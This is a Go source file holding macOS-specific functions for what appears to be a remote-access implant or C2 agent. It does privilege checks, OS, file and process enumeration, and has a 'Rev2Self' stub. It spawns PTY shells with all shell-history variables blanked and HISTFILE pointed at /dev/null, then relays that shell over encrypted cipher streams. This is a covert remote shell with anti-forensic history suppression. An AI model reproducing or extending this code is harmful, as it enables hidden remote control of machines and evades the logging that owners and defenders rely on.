2026-04-06 00:20:51 -05:00

219 lines
4.1 KiB
Go
Executable File

//go:build darwin
// +build darwin
package functions
import (
"crypto/cipher"
"fmt"
"gopher/utils"
"io"
"os"
"os/exec"
"os/user"
"path/filepath"
"strings"
"syscall"
"github.com/creack/pty"
"github.com/shirou/gopsutil/v4/process"
"howett.net/plist"
)
func GetCP() (uint32, uint32) {
return 0, 0
}
func IsElevated() bool {
return os.Geteuid() == 0
}
func GetOsVersion() (string, error) {
f, err := os.Open("/System/Library/CoreServices/SystemVersion.plist")
if err != nil {
return "MacOS", nil
}
defer f.Close()
var data map[string]interface{}
decoder := plist.NewDecoder(f)
err = decoder.Decode(&data)
if err != nil {
return "MacOS", nil
}
version, ok := data["ProductVersion"].(string)
if !ok {
return "MacOS", nil
}
return fmt.Sprintf("MacOS %s", version), nil
}
func NormalizePath(relPath string) (string, error) {
if strings.HasPrefix(relPath, "~") {
usr, err := user.Current()
if err != nil {
return "", err
}
relPath = filepath.Join(usr.HomeDir, relPath[1:])
}
path, err := filepath.Abs(relPath)
if err != nil {
return "", err
}
path = filepath.Clean(path)
return path, nil
}
func buildFileInfo(path string, info os.FileInfo, displayName string) utils.FileInfo {
mode := info.Mode()
isLink := mode&os.ModeSymlink != 0
isDir := info.IsDir()
if isLink {
if targetInfo, err := os.Stat(path); err == nil {
isDir = targetInfo.IsDir()
}
}
stat, ok := info.Sys().(*syscall.Stat_t)
var nlink uint64 = 1
var uid, gid int
if ok {
nlink = uint64(stat.Nlink)
uid = int(stat.Uid)
gid = int(stat.Gid)
}
username := fmt.Sprintf("%d", uid)
if u, err := user.LookupId(username); err == nil {
username = u.Username
}
group := fmt.Sprintf("%d", gid)
if g, err := user.LookupGroupId(group); err == nil {
group = g.Name
}
return utils.FileInfo{
Mode: mode.String(),
Nlink: int(nlink),
User: username,
Group: group,
Size: info.Size(),
Date: info.ModTime().Format("Jan _2 15:04"),
Filename: displayName,
IsDir: isDir,
}
}
func GetListing(path string) ([]utils.FileInfo, error) {
var Files []utils.FileInfo
pathInfo, err := os.Lstat(path)
if err != nil {
return Files, err
}
if !pathInfo.IsDir() {
return []utils.FileInfo{buildFileInfo(path, pathInfo, filepath.Base(path))}, nil
}
entries, err := os.ReadDir(path)
if err != nil {
return Files, err
}
for _, entry := range entries {
fullPath := filepath.Join(path, entry.Name())
info, err := os.Lstat(fullPath)
if err != nil {
return Files, err
}
Files = append(Files, buildFileInfo(fullPath, info, entry.Name()))
}
return Files, nil
}
func GetProcesses() ([]utils.PsInfo, error) {
var Processes []utils.PsInfo
procs, err := process.Processes()
if err != nil {
return nil, err
}
for _, p := range procs {
ppid, err := p.Ppid()
if err != nil {
ppid = 0
}
username, err := p.Username()
if err != nil {
username = ""
}
tty, err := p.Terminal()
cmdline, err := p.Cmdline()
if err != nil || cmdline == "" {
cmdline, _ = p.Name()
}
psInfo := utils.PsInfo{
Pid: int(p.Pid),
Ppid: int(ppid),
Context: username,
Tty: tty,
Process: cmdline,
}
Processes = append(Processes, psInfo)
}
return Processes, nil
}
func ProcessSettings(cmd *exec.Cmd) {}
func IsProcessRunning(cmd *exec.Cmd) bool {
if cmd.Process == nil {
return false
}
err := cmd.Process.Signal(syscall.Signal(0))
if err != nil {
return false
}
return true
}
func StartPtyCommand(process *exec.Cmd, columns uint16, rows uint16) (any, error) {
process.Env = append(os.Environ(),
"HISTORY=", "HISTSIZE=0", "HISTSAVE=",
"HISTZONE=", "HISTLOG=", "HISTFILE=",
"HISTFILE=/dev/null", "HISTFILESIZE=0",
)
windowSize := pty.Winsize{Rows: rows, Cols: columns}
return pty.StartWithSize(process, &windowSize)
}
func StopPty(Pipe any) error {
src := Pipe.(*os.File)
return src.Close()
}
func RelayConnToPty(to any, from *cipher.StreamReader) {
pipe := to.(*os.File)
io.Copy(pipe, from)
}
func RelayPtyToConn(to *cipher.StreamWriter, from any) {
pipe := from.(*os.File)
io.Copy(to, pipe)
}
func Rev2Self() {}